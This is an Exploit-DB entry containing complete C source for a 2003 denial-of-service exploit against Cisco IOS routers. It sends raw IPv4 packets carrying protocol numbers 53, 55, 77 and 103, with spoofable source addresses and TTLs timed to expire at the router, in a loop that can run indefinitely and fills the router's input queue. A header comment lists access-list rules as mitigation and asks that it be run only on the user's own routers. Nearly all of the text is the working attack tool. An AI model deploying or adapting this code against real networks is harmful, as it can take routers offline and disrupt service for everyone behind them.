Exploit-DB #60
Description: Cisco IOS - 'cisco-bug-44020.c' IPv4 Packet Denial of Service
Type: dos
Platform: hardware
Date: 2003-07-21
Author: Martin Kluge

Exploit:
/*******************************************************/
/* cisco-bug-44020.c - Copyright by Martin Kluge (martin@elxsi.de) */
/*                                                                                            */
/* Feel free to modify this code as you like, as long as you include */
/* the above copyright statement.                                               */
/*                                                                                            */
/* Please use this code only to check your OWN cisco routers.         */
/*                                                                                            */
/*                                                                                            */
/* This exploit uses the bug in recent IOS versions to stop router    */
/* from processing traffic once the input queue is full.                    */
/*                                                                                            */
/*                                                                                            */
/* Use access control lists as described in the CISCO advisory to     */
/* protect your cisco routers:                                                       */
/*                                                                                            */
/* access-list 101 deny 53 any any                                              */
/* access-list 101 deny 55 any any                                              */
/* access-list 101 deny 77 any any                                              */
/* access-list 101 deny 103 any any                                            */
/*                                                                                            */
/* This code was only tested on linux, no warranty is or will be        */
/*                                                                                            */
/* Usage: ./cisco-bug-44020 <src ip> <dst ip> <hops> <number>  */
/* Source IP: Your source IP (or a spoofed source IP)                    */
/* Destination IP: The IP of the vulnerable cisco router                  */
/* Hops: The number of hops between you and the router,             */
/* the time to live (ttl) should be 0 when the packet                      */
/* is received by the cisco router.                                                 */
/* Number: Number of packets to send (0 = loop)                         */
/* provided.                                                                              */
/*******************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <arpa/inet.h>
#include <netinet/in.h>

#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#define DEBUG

#ifndef IPPROTO_RAW
#define IPPROTO_RAW 0
#endif

/* IPv4 header */
struct ipv4_pkt_header {
unsigned int ipvhl:8; /* Version + Header length */
unsigned int type_service:8; /* TOS(Type of Service) field */
unsigned short packet_len; /* Header+Payload length */
unsigned short ident; /* Identification field */
unsigned short fragment; /* Fragment Offset field */
unsigned int time_live:8; /* TTL(Time to Live) field */
unsigned int protocol:8; /* Protocol field */
unsigned short sum; /* Checksum field */
struct in_addr src_ip; /* Source IP */
struct in_addr dst_ip; /* Destination IP */
};


char proto[] = {53,55,77,103};


/* Prototypes */
int in_cksum (unsigned short *, int, int);


/* Main function */
int main (int argc, char *argv[]) {
struct ipv4_pkt_header ipv4_hdr;
struct sockaddr_in sin;
struct timeval seed;

unsigned long src_ip, dst_ip;
int fd, hops, count, bytes;
int len=0, i=0, n=0, loop=0;

unsigned char *buf;

/* Check command line args */ 
if(argc != 5) {
fprintf(stderr, "Usage: %s <src ip> <dst ip> <hops> <number>\n\n", argv[0]);
return(EXIT_FAILURE);
}

src_ip = inet_addr(argv[1]);
dst_ip = inet_addr(argv[2]);
hops = atoi(argv[3]);
count = atoi(argv[4]);

if(count == 0) { loop=1; count=1; }

#ifdef DEBUG
printf("DEBUG: Hops: %i\n", hops);
#endif

/* Open a raw socket */
if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
fprintf(stderr, "Error: Cannot open raw socket.\n");
return(EXIT_FAILURE);
}

/* Build the IPv4 header */
ipv4_hdr.ipvhl = ((4 << 4) | 0x0f) & (5 | 0xf0); /* :) */
ipv4_hdr.type_service = 0x10;

#ifdef OSTYPE_BSD
ipv4_hdr.packet_len = 0x14 + len;
ipv4_hdr.fragment = 0x4000;
#else
ipv4_hdr.packet_len = htons(0x14 + len);
ipv4_hdr.fragment = htons(0x4000);
#endif

ipv4_hdr.time_live = hops;
ipv4_hdr.src_ip.s_addr = src_ip;
ipv4_hdr.dst_ip.s_addr = dst_ip;

while(n < count) {
/* Seed the random generator */
if(gettimeofday(&seed, NULL) == -1) {
fprintf(stderr, "Error: Cannot seed the random generator.\n");
return(EXIT_FAILURE);
}

srandom((unsigned int) (seed.tv_sec ^ seed.tv_usec));

ipv4_hdr.protocol = proto[random() % 0x4];

#ifdef DEBUG
printf("DEBUG: Protocol: %i\n", ipv4_hdr.protocol);
#endif

ipv4_hdr.ident = htons(random() % 0x7fff);

/* Calculate checksum */
ipv4_hdr.sum = 0x0000;
ipv4_hdr.sum = in_cksum((unsigned short *) &ipv4_hdr, 0x14 + len, 0);

#ifdef DEBUG
printf("DEBUG: Checksum: %i\n", ipv4_hdr.sum);
#endif

buf = malloc(0x14 + len);
memset(buf, '\0', 0x14 + len);

memcpy((unsigned char *) buf, (unsigned char *) &ipv4_hdr,
0x14 + len);

#ifdef DEBUG
printf("DEBUG: ");
for(i=0; i < 0x14 + len; i++)
printf(" %02x", buf[i]);
printf("\n");
#endif


memset(&sin, '\0', sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst_ip;

bytes = sendto(fd, buf, 0x14 + len, 0, (struct sockaddr *) &sin,
sizeof(struct sockaddr));

#ifdef DEBUG
printf("DEBUG: Wrote %i bytes.\n", bytes);
#endif

if(loop != 1) n++;

free(buf);
}

close(fd);
return(EXIT_SUCCESS);
}